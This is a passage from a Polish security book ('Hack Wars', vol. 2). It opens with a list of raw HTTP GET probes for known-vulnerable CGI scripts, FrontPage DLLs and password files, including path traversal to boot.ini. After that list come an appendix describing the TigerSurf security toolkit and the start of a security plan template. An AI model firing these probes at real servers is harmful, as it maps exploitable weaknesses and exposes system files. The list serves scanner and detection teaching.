GET /_vti_bin/_vti_aut/author.exe HTTP/1.0 & vbCrLf & vbCrLf 
GET /_vti_bin/_vti_aut/author.dll HTTP/1.0 & vbCrLf & vbCrLf 
GET /cgi-bin/AnForm2 HTTP/1.0 & vbCrLf & vbCrLf 
GET /cgi-bin/calendar HTTP/1.0 & vbCrLf & vbCrLf 
GET /cgi-bin/redirect HTTP/1.0 & vbCrLf & vbCrLf 
GET /cgi-bin/w3tvars.pm HTTP/1.0 & vbCrLf & vbCrLf 
GET /cgi-bin/w2-msql HTTP/1.0 & vbCrLf & vbCrLf 
GET /cgi-bin/wais.pl HTTP/1.0 & vbCrLf & vbCrLf 
GET /cgi-win/wwwuploader.exe HTTP/1.0 & vbCrLf & vbCrLf 
GET /cgi-bin/MachineInfo HTTP/1.0 & vbCrLf & vbCrLf 
GET /cgi-bin/snorkerz.cmd HTTP/1.0 & vbCrLf & vbCrLf 
GET /cgi-bin/snorkerz.bat HTTP/1.0 & vbCrLf & vbCrLf 
GET /cgi-bin/dig.cgi HTTP/1.0 & vbCrLf & vbCrLf 
GET /cgi-bin/AT-generate.cgi HTTP/1.0 & vbCrLf & vbCrLf 
GET /con/con HTTP/1.0 & vbCrLf & vbCrLf 
GET /......../ HTTP/1.0 & vbCrLf & vbCrLf 
GET /cgi-shl/win-c-sample.exe HTTP/1.0 & vbCrLf & vbCrLf 
GET ../.. HTTP/1.0 & vbCrLf & vbCrLf 
GET /cgi-bin/classified.cgi HTTP/1.0 & vbCrLf & vbCrLf 
GET /cgi-bin/download.cgi HTTP/1.0 & vbCrLf & vbCrLf 
GET ../../boot.ini HTTP/1.0 & vbCrLf & vbCrLf 
GET /default.asp. HTTP/1.0 HTTP/1.0 & vbCrLf & vbCrLf 
GET /xxxxxxx.....xxxxxxxxx/ HTTP/1.0 & vbCrLf & vbCrLf 
GET /cgi-bin/testcgi.exe HTTP/1.0 & vbCrLf & vbCrLf 
GET /cgi-bin/FormHandler.cgi HTTP/1.0 & vbCrLf & vbCrLf 
GET /cgi-bin/cgitest.exe HTTP/1.0 & vbCrLf & vbCrLf 
GET /cgi-bin/meta.pl HTTP/1.0 & vbCrLf & vbCrLf 

background image

 
Rozdział 2. 

 Mechanizmy ochrony przed włamaniami 

221 

 

221

 

GET /cgi-bin/test-cgi.tcl HTTP/1.0 & vbCrLf & vbCrLf 
GET /cgi-bin/day5datacopier.cgi HTTP/1.0 & vbCrLf & vbCrLf 
GET /cgi-bin/test.bat HTTP/1.0 & vbCrLf & vbCrLf 
GET /cgi-bin/hello.bat HTTP/1.0 & vbCrLf & vbCrLf 
GET /cgi-bin/webutils.pl HTTP/1.0 & vbCrLf & vbCrLf 
GET /cgi-bin/tigvote.cgi HTTP/1.0 & vbCrLf & vbCrLf 
GET /cgi-dos/args.cmd HTTP/1.0 & vbCrLf & vbCrLf 
GET /neowebscript/test/senvironment.nhtml HTTP/1.0 & vbCrLf & vbCrLf 
GET /neowebscript/tests/load_webenv.nhtml HTTP/1.0 & vbCrLf & vbCrLf 
GET /neowebscript/tests/mailtest.nhtml HTTP/1.0 & vbCrLf & vbCrLf 
GET /WebSTART%LOG HTTP/1.0 & vbCrLf & vbCrLf 
GET /cgi-bin/webwho.pl HTTP/1.0 & vbCrLf & vbCrLf 
GET /cgi-bin/htsearch HTTP/1.0 & vbCrLf & vbCrLf 
GET /cgi-bin/plusmail HTTP/1.0 & vbCrLf & vbCrLf 
GET /cgi-bin/dig.cgi HTTP/1.0 & vbCrLf & vbCrLf 
GET /cgi-bin/rmp_query HTTP/1.0 & vbCrLf & vbCrLf 
GET /cgi-bin/search.cgi HTTP/1.0 & vbCrLf & vbCrLf 
GET /cgi-bin/w3-msql HTTP/1.0 & vbCrLf & vbCrLf 
GET /cgi-bin/tpgnrock HTTP/1.0 & vbCrLf & vbCrLf 
GET /manage/cgi/cgiproc HTTP/1.0 & vbCrLf & vbCrLf 
GET /_vti_bin/_vti_aut/dvwssr.dll HTTP/1.0 & vbCrLf & vbCrLf 
GET /scripts/cart.exe HTTP/1.0 & vbCrLf & vbCrLf 
GET /cgi-bin/ultraboard.cgi HTTP/1.0 & vbCrLf & vbCrLf 
GET /cgi-bin/ultraboard.pl HTTP/1.0 & vbCrLf & vbCrLf 
GET /scripts/cart.exe/cartclientlist HTTP/1.0 & vbCrLf & vbCrLf 
GET /scripts/cweb.exe/ChangeAdminPassword HTTP/1.0 & vbCrLf & vbCrLf 
GET /scripts/cweb.exe HTTP/1.0 & vbCrLf & vbCrLf 
GET /cgi-bin/form.cgi HTTP/1.0 & vbCrLf & vbCrLf 
GET /cgi-bin/message.cgi HTTP/1.0 & vbCrLf & vbCrLf 
GET /cgi-bin/.cobalt/siteUserMod/siteUserMod.cgi HTTP/1.0 & vbCrLf & 
vbCrLf 
GET /cgi-bin/.fhp HTTP/1.0 & vbCrLf & vbCrLf 
GET /cgi-bin/excite HTTP/1.0 & vbCrLf & vbCrLf 
GET /cgi-bin/getdoc.cgi HTTP/1.0 & vbCrLf & vbCrLf 
GET /cgi-bin/webplus HTTP/1.0 & vbCrLf & vbCrLf 
GET /cgi-bin/bizdb1-search.cgi HTTP/1.0 & vbCrLf & vbCrLf 
GET /cgi-bin/cart.pl HTTP/1.0 & vbCrLf & vbCrLf 
GET /cgi-bin/maillist.pl HTTP/1.0 & vbCrLf & vbCrLf 
GET /cgi-bin/fpexplore.exe HTTP/1.0 & vbCrLf & vbCrLf 
GET /cgi-bin/whois.cgi HTTP/1.0 & vbCrLf & vbCrLf 
GET /cgi-bin/GW5/GWWEB.EXE HTTP/1.0 & vbCrLf & vbCrLf 
GET /cgi-bin/search/tidfinder.cgi HTTP/1.0 & vbCrLf & vbCrLf 
GET /cgi-bin/tablebuild.pl HTTP/1.0 & vbCrLf & vbCrLf 
GET /cgi-bin/displayTC.pl HTTP/1.0 & vbCrLf & vbCrLf 
GET /cgi-bin/cvsweb/src/usr.bin/rdist/expand.c HTTP/1.0 & vbCrLf & 
vbCrLf 
GET /cgi-bin/c_download.cgi HTTP/1.0 & vbCrLf & vbCrLf 
GET /cgi-bin/ntitar.pl HTTP/1.0 & vbCrLf & vbCrLf 
GET /cgi-bin/enter.cgi HTTP/1.0 & vbCrLf & vbCrLf 
GET /cgi-bin/printenv HTTP/1.0 & vbCrLf & vbCrLf 
GET /cgi-bin/dasp/fm_shell.asp HTTP/1.0 & vbCrLf & vbCrLf 
GET /cgi-bin/cgiback.cgi HTTP/1.0 & vbCrLf & vbCrLf 
GET /cgi-bin/infosrch.cgi HTTP/1.0 & vbCrLf & vbCrLf 
GET /_vti_bin/_vti_aut/author.dll HTTP/1.0 & vbCrLf & vbCrLf 
GET /scripts/webbbs.exe HTTP/1.0 & vbCrLf & vbCrLf 
GET /config/mountain.cfg HTTP/1.0 & vbCrLf & vbCrLf 
GET /orders/mountain.cfg HTTP/1.0 & vbCrLf & vbCrLf 
GET /admin.php3 HTTP/1.0 & vbCrLf & vbCrLf 
GET /code.php3 HTTP/1.0 & vbCrLf & vbCrLf 
GET /bb-dnbd/bb-hist.sh HTTP/1.0 & vbCrLf & vbCrLf 
GET /reviews/newpro.cgi HTTP/1.0 & vbCrLf & vbCrLf 

background image

 
222 

Hack Wars. Tom 2. Na tropie hakerów 

222 

 

GET /eatme.idc HTTP/1.0 & vbCrLf & vbCrLf 
GET /eatme.ida HTTP/1.0 & vbCrLf & vbCrLf 
GET /eatme.pl HTTP/1.0 & vbCrLf & vbCrLf 
GET /eatme.idq HTTP/1.0 & vbCrLf & vbCrLf 
GET /eatme.idw HTTP/1.0 & vbCrLf & vbCrLf 
GET /status.cgi HTTP/1.0 & vbCrLf & vbCrLf 
GET /PSUser/PSCOErrPage.htm HTTP/1.0 & vbCrLf & vbCrLf 
GET /log HTTP/1.0 & vbCrLf & vbCrLf 
GET /stats HTTP/1.0 & vbCrLf & vbCrLf 
GET /piranha/secure/passwd.php3 HTTP/1.0 & vbCrLf & vbCrLf 
GET /cgi-bin/sojourn.cgi HTTP/1.0 & vbCrLf & vbCrLf 
GET /cgi-bin/ews HTTP/1.0 & vbCrLf & vbCrLf 
GET /cgi-bin/dfire.cgi HTTP/1.0 & vbCrLf & vbCrLf 
GET /cgi-bin/spin_client.cgi HTTP/1.0 & vbCrLf & vbCrLf 
GET /cgi-bin/echo.bat HTTP/1.0 & vbCrLf & vbCrLf 

 
 
 
 

background image

 

343

 

Dodatek A 

Oprogramowanie 
zabezpieczające 

W tym załączniku przedstawiony jest  TigerSurf, zestaw narzędzi zabezpieczających, 
który  zarówno  uŜytkownicy  domowi,  jak  i  biznesowi  mogą  wykorzystać  jako  część 
pełnego zbioru do zabezpieczenia połączeń internetowych. 

 

 

Oprogramowanie  zabezpieczające  to  dowolny  program,  który  pomaga  zabezpieczyć, 
uchronić  i  monitorować  komputery  przed  atakami  hakerów.  Takie  oprogramowanie 
obejmuje  narzędzia,  demony  usług  i  moduły  pracujące  w  tle,  które  mogą  być  zaimple-
mentowane jako część procedury zapewniania bezpieczeństwa.  

TigerSurf 

Coraz popularniejszy staje się destrukcyjny kod umieszczony na standardowych stronach 
internetowych. Zwyczajne przeglądanie takiej strony moŜe na przykład spowodować 
załadowanie  wirusa, a jeśli Twój system  nie jest  wystarczająco zabezpieczony przez 
standardowe  oprogramowanie  antywirusowe,  Twoje  programy  lub  dane  znajdą  się 
w niebezpieczeństwie. Innym przykładem są witryny internetowe, które „wymuszają” 
strony, wyświetlając ogromną liczbę ekranów. Jest to w najlepszym razie denerwujące, 
a w najgorszym szkodliwe. 

W  odpowiedzi  na  te  i  inne  rodzaje  ataków  powstał  TigerSurf,  oparty  o  bezpieczny 
moduł  przeglądarki  internetowej,  zaprojektowany  do  ochrony  systemu.  Ten  zestaw 
narzędzi  zapewnia  ochronę  przed  destrukcyjnymi  stronami  internetowymi,  przepeł-
nieniem  przeglądarki  (nigdy  więcej  wyskakujących  ekranów!)  oraz  zdalnymi  końmi 
trojańskimi. 

TigerSurf  zawiera  takŜe  bezpieczny,  wielostrumieniowy  mechanizm  przeszukiwania 
Internetu,  który  przy  uŜyciu  słów  kluczowych  „przepytuje”  wiele  najwaŜniejszych 
wyszukiwarek. Dzięki niemu wystarczy wybrać odpowiednią zakładkę, aby zobaczyć 

background image

 
344 

Hack Wars. Tom 2. Na tropie hakerów 

344 

 

otrzymane wyniki — nie ma potrzeby wielokrotnego przeszukiwania Sieci. TigerSurf 
obsługuje  wszystkie  wtyczki  Microsoft  Internet  Explorera  oraz  własne  filtry  uŜyt-
kownika,  a  takŜe  jest  kompatybilny  ze  wszystkimi  internetowymi  językami  progra-
mowania. Inne funkcje (opisane w kolejnych częściach) obejmują: 









 

edytor HTML, 









 

TigerWatch









 

TigerBlock









 

skanowanie zabezpieczeń, 









 

TigerSearch









 

TigerTrack









 

FTP, 









 

Telnet, 









 

przechwytywanie ekranu, 









 

przeglądarkę zdjęć. 

 

 

Przed  instalacją  programu  TigerSurf  (dostępnego  na  CD-ROM-ie  dołączonym  do  tej 
ksiąŜki) naleŜy dokonać aktualizacji Internet Explorera do wersji 5x lub nowszej.  

Ogólne działanie 

Po  uruchomieniu  TigerSurf  program  poprosi  o  wprowadzenie  hasła  logowania  do 
bezpiecznej  przeglądarki,  które  domyślnie  ma  wartość  TIGER  (pisane  duŜymi  literami 
w tej wersji), jak pokazano to na rysunku A.1. W tym momencie przeglądarka TigerSurf 
uruchomi się jako nakładka Explorera i przejdzie na stronę www.TigerTools.net, gdzie 
moŜesz uzyskać informacje o aktualizacji TigerSurf oraz o modyfikacji wersji (patrz 
rysunek A.2). 

background image

 
Dodatek A 

 Oprogramowanie zabezpieczające 

345 

 

345

 

Rysunek A.1. 
Ekran logowania 
do bezpiecznej 
przegl
ądarki 
TigerSurf 

 

Rysunek A.2. 
Główny moduł 
TigerSurf 

 

Menu File, umieszczone na górze przeglądarki, obsługuje poniŜsze opcje (patrz rysu-
nek A.3). 

Rysunek A.3. 
Opcje menu File 
w TigerSurfie 

 

background image

 
346 

Hack Wars. Tom 2. Na tropie hakerów 

346 

 









 

New browser window — otwiera nowe okno Explorera do standardowego 
przeglądania sieci. 









 

Open — otwiera do przeglądania stronę internetową z dysku twardego, 
dyskietki lub płyty CD. 









 

Save As — zapisuje na dysku twardym lub dyskietce obecną stronę jako plik 
strony internetowej. 









 

Printer Setup — konfiguruje aktualne ustawienia drukarki. 









 

Print current page — drukuje aktualną stronę przy uŜyciu obecnych ustawień 
drukarki. 









 

Exit and unload — zamyka TigerSurf

Znajdujące się na górze przeglądarki menu Edit udostępnia poniŜsze opcje (patrz ry-
sunek A.4). 

Rysunek A.4. 
Opcje menu Edit 
w TigerSurfie 

 









 

Cut — wycina wybrany tekst do schowka Windows. 









 

Copy — kopiuje wybrany tekst do schowka Windows. 









 

Paste — wkleja (wycięty lub skopiowany) tekst ze schowka Windows. 









 

HTML Editor — ładuje edytor HTML TigerSurf

Ze  znajdującego  się  na  górze  przeglądarki  menu  View  moŜna  wybrać  niŜej  wymie-
nione opcje (patrz rysunek A.5). 

Rysunek A.5. 
Opcje menu View 
w TigerSurfie 

 









 

Go to — przechodzi do poprzedniej strony, następnej strony, strony domowej 
lub ładuje TigerSearch









 

Stop — przerywa pobieranie aktualnej strony internetowej. 









 

Refresh — przeładowuje aktualną stronę internetową. 









 

Source — wyświetla kod źródłowy aktualnej strony internetowej. 

W znajdującym się na górze przeglądarki Personal Links dostępne są poniŜsze opcje 
(patrz rysunek A.6). 

background image

 
Dodatek A 

 Oprogramowanie zabezpieczające 

347 

 

347

 

Rysunek A.6. 
Opcje menu Personal 
Links w TigerSurf 

 









 

Add current page to personal links — dodaje aktualną stronę internetową 
do Ulubione









 

View personal links — wyświetla bazę danych ulubionych odnośników, w której 
moŜesz kliknąć wybrany adres. 

Ze znajdującego się na górze przeglądarki menu Options moŜna wybrać niŜej wymie-
nione opcje (patrz rysunek A.7). 

Rysunek A.7. 
Opcje menu Options 
w TigerSurf 

 









 

Change Homepage — zmienia obecną stronę domową TigerTools na inną. 









 

Internet Properties — wyświetla zaawansowane opcje internetowe (patrz 
rysunek A.8). 

Rysunek A.8. 
Moduł Advanced 
Internet Options 

 









 

Security Properties — wyświetla własne ustawienia TigerWatch, włącza 
i wyłącza TigerBlock, a takŜe uruchamia osobisty skaner zabezpieczeń. 

Obok paska narzędzi TigerSurf znajduje się menu Secure E-mail (bezpieczna poczta 
elektroniczna), ale ta opcja nie jest dostępna w tej  wersji. Kolejne menu to  menu Tools
w którym znajdują się poniŜsze opcje (patrz rysunek A.9). 

background image

 
348 

Hack Wars. Tom 2. Na tropie hakerów 

348 

 

Rysunek A.9. 
Opcje menu Tools 
w TigerSurf 

 









 

TigerSearch the Internet — ładuje TigerSearch jako osobny moduł. 









 

TigerTrack the market — ładuje TigerTrack jako osobny moduł. 









 

Secure FTP — ładuje program klienta FTP TigerSurf









 

Secure telnet — ładuje program klienta Telnetu TigerSurf









 

Screen Capture — ładuje narzędzie do robienia zrzutów ekranowych 
TigerSurf









 

Security Scan — wykonuje skanowanie zabezpieczeń systemu. 









 

TigerHTML — ładuje edytor HTML TigerSurf









 

TigerTalk — moduł pogawędki w czasie rzeczywistym nie jest dostępny 
w tej wersji. 

Za  pomocą  umieszczonego  na  górze  przeglądarki  menu  Security  moŜesz  dopasować 
ustawienia TigerWatcha, włączyć i wyłączyć TigerBlock, a takŜe wykonać skanowa-
nie zabezpieczeń systemu. Umieszczone obok menu Help umoŜliwia wyszukanie ak-
tualizacji programu, nawigację do strony domowej TigerTools.net, a takŜe przejrzenie 
aktualnych list wirusów i koni trojańskich (patrz rysunek A.10). 

Rysunek A.10. 
Opcje menu Help 
w TigerSurf 

 

Pasek narzędzi TigerSurfa zawiera równieŜ przyciski szybkiego uruchamiania opisa-
nych  elementów  menu.  Te  przyciski  są  połoŜone  po  prawej  stronie  paska  narzędzi 
(patrz rysunek A.11). Mają one następujące funkcje (od lewej do prawej): 

Rysunek A.11. 
Przyciski szybkiego 
uruchamiania 
w programie TigerSurf 

 









 

włączanie i wyłączanie bezpiecznego surfowania z blokowaniem złośliwego 
kodu; ta funkcja jest domyślnie nieaktywna, aby umoŜliwić wyświetlanie 
okienek wyskakujących i reklam, ale zaleca się jej włączenie; 









 

ładowanie TigerTrack

background image

 
Dodatek A 

 Oprogramowanie zabezpieczające 

349 

 

349

 









 

ładowanie klienta FTP; 









 

ładowanie klienta Telnetu; 









 

tworzenie zrzutu ekranu; 









 

ładowanie przeglądarki zdjęć; 









 

ładowanie edytora TigerHTML









 

uruchamianie TigerTalk (niedostępne w tej wersji); 









 

uruchamianie bezpiecznej poczty elektronicznej (niedostępne w tej wersji). 

Opis funkcji 

Edytor HTML 

Dzięki edytorowi HTML (patrz rysunek A.12) moŜesz szybko utworzyć stronę interneto-
wą przy uŜyciu prostego interfejsu. Program pozwala na dołączenie obrazków, utworzenie 
akapitów, odnośników, formularzy oraz wykorzystanie następujących znaczników: 

Rysunek A.12. 
Edytor TigerHTML 

 









 

Html









 

Body









 

Head









 

Align









 

Bullet









 

Table









 

Title

TigerWatch 

TigerWatch  (patrz  rysunek  A.13)  to  narzędzie  do  podglądania  i  blokowania  portów  do 
własnego  uŜytku.  TigerWatch jest zaawansowaną  wersją  TigerGuard (opisanego  w  roz-

background image

 
350 

Hack Wars. Tom 2. Na tropie hakerów 

350 

 

dziale 1.) i zapewnia ochronę przed większością znanych i nieznanych koni trojańskich. 
Program  pozwala  na  dodanie  własnych  portów  do  zasad  zabezpieczania  TigerSurf
MoŜesz  takŜe  tworzyć,  ładować  i  zapisywać  listy  własnych  zasad  do  późniejszego 
wykorzystania.  W  obecnej  wersji  demon  zapisuje,  blokuje  i  alarmuje  o  zdalnych  ata-
kach  hakerów,  odnoszących  się  do  utworzonych  zasad.  Aby  szybko  rozpocząć  zabez-
pieczanie, moŜesz wstępnie załadować standardową i domyślną listę zasad. TigerWa-
tch
 akceptuje domyślnie do 500 własnych zasad zabezpieczeń. 

Rysunek A.13. 
Utwórz w TigerWatch 
własne zasady 
zabezpiecze
ń 

 

 

 

TigerWatch nie został zaprojektowany do samodzielnej pracy bez osobistego systemu fi-
rewalla  (przykłady  takich  firewalli  zostały  wcześniej  przedstawione  w  tej  ksiąŜce).  Ti-
gerWatch
  ma  być  dodatkowym  środkiem  ochronnym,  zabezpieczając  przed  lokalnymi 
lub zdalnymi atakami hakerów.  

TigerBlock 

TigerBlock  jest  systemem  kontroli  przeglądanych  stron  internetowych,  który  moŜe 
być uŜywany przez rodziców lub innych dorosłych opiekunów. UŜywając TigerBlock
moŜna zabronić przeglądarce wyświetlania niektórych stron, na przykład witryn tylko 
dla dorosłych lub zawierających nielegalne materiały. Po aktywacji pojawi się nastę-
pujące ostrzeŜenie w języku angielskim: 

Warning: Site Forbidden, Access Denied 

You were forwarded to this page because the company at which you are employed or the current le-
gal guardian expressly, and in most cases, legally forbids entry to the Web site you attempted to ac-
cess.  Additionally, persons under 18 years of age and persons who may be offended by adult depic-
tions  may not directly or indirectly download,  acquire,  view,  read, listen to,  or possess  any photograph, 
textual material, advertisement, or other communication, message, or other content at, in, or through the 
forbidden Web Site. 

If you are under the age of 18 years, are offended by such materials, or are acting on behalf of any 
governmental agency, you are not authorized to download any materials from any such site, and all 
such downloading shall constitute intentional infringement of rights in such materials.  

PowyŜszy komunikat tłumaczymy niŜej. 

OstrzeŜenie: zabroniona witryna, dostęp zablokowany. 

background image

 
Dodatek A 

 Oprogramowanie zabezpieczające 

351 

 

351

 

Zostałeś  przekierowany  na  tę  stronę,  poniewaŜ  firma,  w  której  pracujesz,  lub  Twój 
prawny opiekun jednoznacznie, w  większości przypadków mając do tego prawo, za-
bronił wejścia na witrynę internetową, do której chcesz uzyskać dostęp. Dodatkowo, 
osoby  poniŜej  18.  roku  Ŝycia  oraz  osoby,  których  uczucia  mogą  obraŜać  obrazy  dla 
osób dorosłych, nie  mogą pośrednio lub bezpośrednio pobierać, uzyskiwać, przeglą-
dać, czytać, słuchać lub posiadać Ŝadnych zdjęć, materiałów tekstowych, reklam lub 
innych form komunikacji, wiadomości i zawartości innego rodzaju, która znajduje się 
lub jest dostępna na zabronionej witrynie internetowej. 

Jeśli masz mniej niŜ 18 lat, czujesz się uraŜony na widok takich materiałów lub dzia-
łasz  w  imieniu  dowolnej  agencji  rządowej,  nie  masz  prawa  do  pobierania  Ŝadnych 
materiałów z takiej witryny, a proces ich pobierania moŜe oznaczać celowe narusze-
nie prawa w zakresie takich materiałów. 

Skanowanie zabezpieczeń 

Funkcja  skanowania  zabezpieczeń  (patrz  rysunek  A.14)  to  osobisty  skaner  portów 
systemowych z prostym interfejsem uŜytkownika. Jak juŜ wspomniano w obu tomach 
tej  ksiąŜki,  skanowanie  potencjalnych  dziur  w  zabezpieczeniach  powinno  odbywać 
się  dla  maksymalnej  liczby  portów.  NaleŜy  równieŜ  śledzić  porty  wraŜliwe  na  ataki 
oraz  takie,  które  mogą  być  przydatne  dla  potencjalnych  napastników.  Ten  program 
skanera  zgłasza  wszystkie  nasłuchujące  porty  oraz  przedstawia  znane  metody  hake-
rów, dzięki czemu moŜna podjąć dalsze kroki. 

Rysunek A.14. 
Osobisty skaner 
zabezpiecze
ń 
systemu TigerSurf 

 

 

TigerSearch 

Ten moduł został zaprojektowany jako szybki i bezpieczny skaner wyszukiwarek sie-
ciowych. Jeśli chcesz z niego skorzystać, po prostu wpisz słowo lub słowa kluczowe, 
zaznacz  wybrane  wyszukiwarki  (do  wyboru  masz  wyszukiwarki  AltaVista,  Excite, 
HotBot, InfoSeek, LookSmart, Lycos, Netscape, Thunderstone i Yahoo!), a następnie 
kliknij przycisk Search. Po kilku chwilach pojawi się moduł z wynikami, pozwalający 
na prostą nawigację między wybranymi wyszukiwarkami za pomocą zakładek (patrz 
rysunek A.15). W kaŜdym oknie moŜesz załadować inną stronę internetową. 

background image

 
352 

Hack Wars. Tom 2. Na tropie hakerów 

352 

 

Rysunek A.15. 
Moduł przeszukiwania 
Internetu 

 

TigerTrack 

TigerTrack  to  kolejne  narzędzie  z  prostym  interfejsem,  które  pozwala  śledzić  rynek 
akcji.  Ta  wersja  TigerTrack  pozwala  na  wyszukiwanie  akcji  tylko  jednej  firmy  — 
musisz wprowadzić odpowiedni symbol, aby móc przeglądać aktualne dane w postaci 
tabeli lub wykresu (patrz rysunek A.16). 

Rysunek A.16. 
Narzędzie do śledzenia 
kursów akcji 

 

Bezpieczna usługa FTP 

Klient TigerSurf Secure FTP (patrz rysunek A.17) to bezpieczny moduł z prostym inter-
fejsem, słuŜący do przesyłania plików przez sieć LAN, WAN lub Internet. Program ob-
sługuje logowanie anonimowe i z podaniem danych, a takŜe nieznane typy logowania. 

background image

 
Dodatek A 

 Oprogramowanie zabezpieczające 

353 

 

353

 

Rysunek A.17. 
Bezpieczne 
przeszukiwanie 
serwerów FTP 

 

Bezpieczny telnet 

Klient  TigerSurf Secure Telnet (patrz rysunek  A.18) to bezpieczny  moduł z prostym 
interfejsem do dostępu przez Telnet w sieciach LAN, WAN i Internet. Program umoŜliwia 
połączenia  telnetowe  z  dowolnym  podanym  portem  i  serwerem,  a  takŜe  pozwala  na 
ś

ledzenie  połączeń  w  celu  zapewnienia  zaawansowanego  bezpieczeństwa  oraz  moŜli-

wości rozwiązywania problemów. 

Rysunek A.18. 
Funkcja bezpiecznego 
Telnetu w TigerSurf 
 

 

Zrzuty ekranowe 

Program  TigerSurf  Screen  Capture  (patrz  rysunek  A.19)  to  przyjazne  narzędzie  do 
szybkiego przechwytywania z Internetu obrazków, programów, gier i innych narzędzi. 
Program pozwala  na  wykonanie zrzutu całego  ekranu,  formularzy, a  takŜe  wybranego 
obszaru.  Inne  dostępne  funkcje  to  wykonywanie  zrzutów  po  określonym  czasie  oraz 
drukowanie i zapisywanie obrazków na twardym dysku lub dyskietce. 

background image

 
354 

Hack Wars. Tom 2. Na tropie hakerów 

354 

 

Rysunek A.19. 
Narzędzie Screen 
Capture do robienia 
zrzutów ekranowych 

 

Przeglądarka zdjęć 

Program  TigerSurf  Image  Viewer  (patrz  rysunek  A.20)  to  doskonałe  narzędzie  do 
przeglądania  zdjęć  i  rysunków  z  pełnej,  automatycznie  wygenerowanej  listy  z  pod-
glądem  plików.  Dzięki  temu  programowi  moŜliwe  jest  proste  śledzenie  i  ładowanie 
obrazków przechwyconych przez Screen Capture lub utworzonych w innych progra-
mach graficznych. Co więcej, narzędzie to pozwala takŜe na załadowanie wybranego 
pliku w celu szybkiej edycji. 

Rysunek A.20. 
Przeglądarka zdjęć 
TigerSurf 

 

Serwer Tiger Web 

Serwer  Tiger  Web  to  zestaw  narzędzi  na  poziomie  przedsiębiorstwa,  który  moŜe  być 
stosowany przez uŜytkowników prywatnych i biznesowych. Serwer moŜe być uŜywany 
z  dowolnym  kontem  modemowym,  xDSL,  kablowym,  ISDN  lub  łączem  dzierŜawio-
nym. Ten zestaw został zaprojektowany  tak, aby  umoŜliwiać obsługę serwera interne-
towego z płyty CD, co oznacza, iŜ cała witryna moŜe być umieszczona na takiej płycie. 
Zapewnia to świetną obronę przed atakami hakerów na Twoją witrynę, gdyŜ napastnik 
nie moŜe zdalnie nadpisać plików na płycie CD. 

background image

 
Dodatek A 

 Oprogramowanie zabezpieczające 

355 

 

355

 

Inne ekscytujące funkcje programu obejmują podsłuchiwanie sesji, aktywne  monito-
rowanie serwera, zdalną kontrolę przez Internet, obsługę CGI (włączając w to dostęp 
do  księgi  gości),  pogawędki  w  czasie  rzeczywistym,  własne  moduły  FTP  i  Telnetu 
oraz obsługę adresów IP w czasie rzeczywistym.  

Funkcja  obsługi  adresów  IP  w  czasie  rzeczywistym  jest  czymś  wyjątkowym.  UŜyt-
kownicy  ze  stałymi,  tymczasowymi  lub  modemowymi  kontami  dostępowymi  mogą 
uzyskać profesjonalny dostęp do serwera z dowolnego miejsca i w dowolnym czasie, 
niezaleŜnie od istnienia wielu kont modemowych, które przydzielają inny adres IP dla 
kaŜdej sesji. Ten zestaw działa równieŜ z usługami DNS lub bez nich. Inne oferowane 
funkcje to: 









 

demon serwera internetowego z obsługą CGI i własnymi księgami gości; 









 

obsługa adresów IP w czasie rzeczywistym, dzięki czemu moŜna zapewnić 
usługi internetowe z kaŜdej konfiguracji połączenia; 









 

demon IRC czasu rzeczywistego (do 50 uŜytkowników) z funkcją transferu 
plików między rozmawiającymi (świetna funkcja takŜe do tworzenia 
konferencji biznesowych); 









 

demony FTP i Telnetu do bezpiecznego przesyłania plików i kontroli operacji; 









 

demon monitorowania usług, mający moŜliwość aktywnego alarmowania 
po wystąpieniu przeciąŜenia zasobów lub awarii usługi; 









 

narzędzia do podsłuchiwania sesji, dzięki której administratorzy mogą 
szpiegować, przerywać i rozłączać aktywne połączenia; 









 

osobisty edytor HTML do szybkiego tworzenia strony domowej; 









 

pełny serwer MUD; 









 

własny system tablic ogłoszeniowych; 









 

prosty, przyjazny, scentralizowany graficzny interfejs uŜytkownika. 

Przy  uŜyciu  tego  programu  moŜesz  śledzić  gości  (w  czasie  rzeczywistym)  oraz  szpie-
gować ich sesje, a nawet przerywać ich połączenia w razie potrzeby. Jest to uniwersalny 
pakiet komunikacyjny dla firm, rodzin i uŜytkowników indywidualnych. Gracze mogą 
z niego korzystać do gromadzenia uŜytkowników gier MUD z całego świata. Rodziny 
mogą  pozostawać  w  kontakcie  i  szybko  przekazywać  sobie  pliki  i  zdjęcia,  a  studenci 
mogą komunikować się ze znajomymi i rodzinami. Podsumowując, Ŝaden inny produkt 
na rynku nie oferuje obecnie wszystkich, niŜej wymienionych, funkcji. 









 

Obsługa adresów IP w czasie rzeczywistym w celu dynamicznego serwowania 
stron internetowych; kompatybilna z połączeniami modemowymi, ISDN, 
kablowymi, xDSL oraz łączami dzierŜawionymi, z zarejestrowaną nazwą 
domeny lub bez niej. 









 

Brak wymagań co do systemu klasy serwera — wymagany jest tylko system 
Windows 9x, Millenium Edition (ME), 2000 lub NT (o minimalnych zasobach, 
na przykład 16 MB pamięci RAM); jest to idealny system dla domu oraz 
małych i średnich firm, gdzie waŜne są niskie koszty. 

background image

 
356 

Hack Wars. Tom 2. Na tropie hakerów 

356 

 









 

W celu zagwarantowania bezpieczeństwa i mobilności serwer moŜe działać 
z płyty CD. 









 

KaŜdy i w dowolnym miejscu moŜe udostępnić obsługę stron internetowych, 
pogawędki w czasie rzeczywistym z przesyłaniem plików oraz usługi Telnetu. 
MoŜliwe jest wykorzystanie bezpiecznego demona do zdalnej kontroli 
oraz funkcji szpiegowania sesji. 

Odwiedź witrynę www.TigerTools.net lub www.wiley.com, aby uzyskać więcej infor-
macji na temat dostępności serwera Tiger Web oraz oferowanych opcji zakupu. 

 

background image

 
Dodatek A 

 Oprogramowanie zabezpieczające 

357 

 

357

 

 
 
 
 

background image

 

357

 

Dodatek B 

Szablony planu zabezpieczeń 

Plan zabezpieczeń głównej aplikacji 

Identyfikacja systemu 

Data. 

Nazwa systemu 

Unikalny identyfikator i nazwa przyznana dla systemu. 

Odpowiedzialna organizacja 

Organizacja odpowiedzialna za system. 

Informacje kontaktowe 

Nazwisko osoby znającej system lub właściciela systemu: 









 

nazwisko, 









 

stanowisko, 









 

adres, 









 

telefon, 









 

adres e-mail. 

Przydział odpowiedzialności za zabezpieczenia 

Nazwisko osoby odpowiedzialnej za bezpieczeństwo systemu: 









 

nazwisko, 









 

stanowisko, 

background image

 
358 

Hack Wars. Tom 2. Na tropie hakerów 

358 

 









 

adres, 









 

telefon, 









 

adres e-mail. 

Status operacyjny systemu 

Jeśli  wybrano  więcej  niŜ  jeden  status,  naleŜy  podać  części  systemu,  jakie  obejmuje 
dany status: 









 

operacyjny; 









 

w konstrukcji; 









 

przechodzi powaŜną modyfikację. 
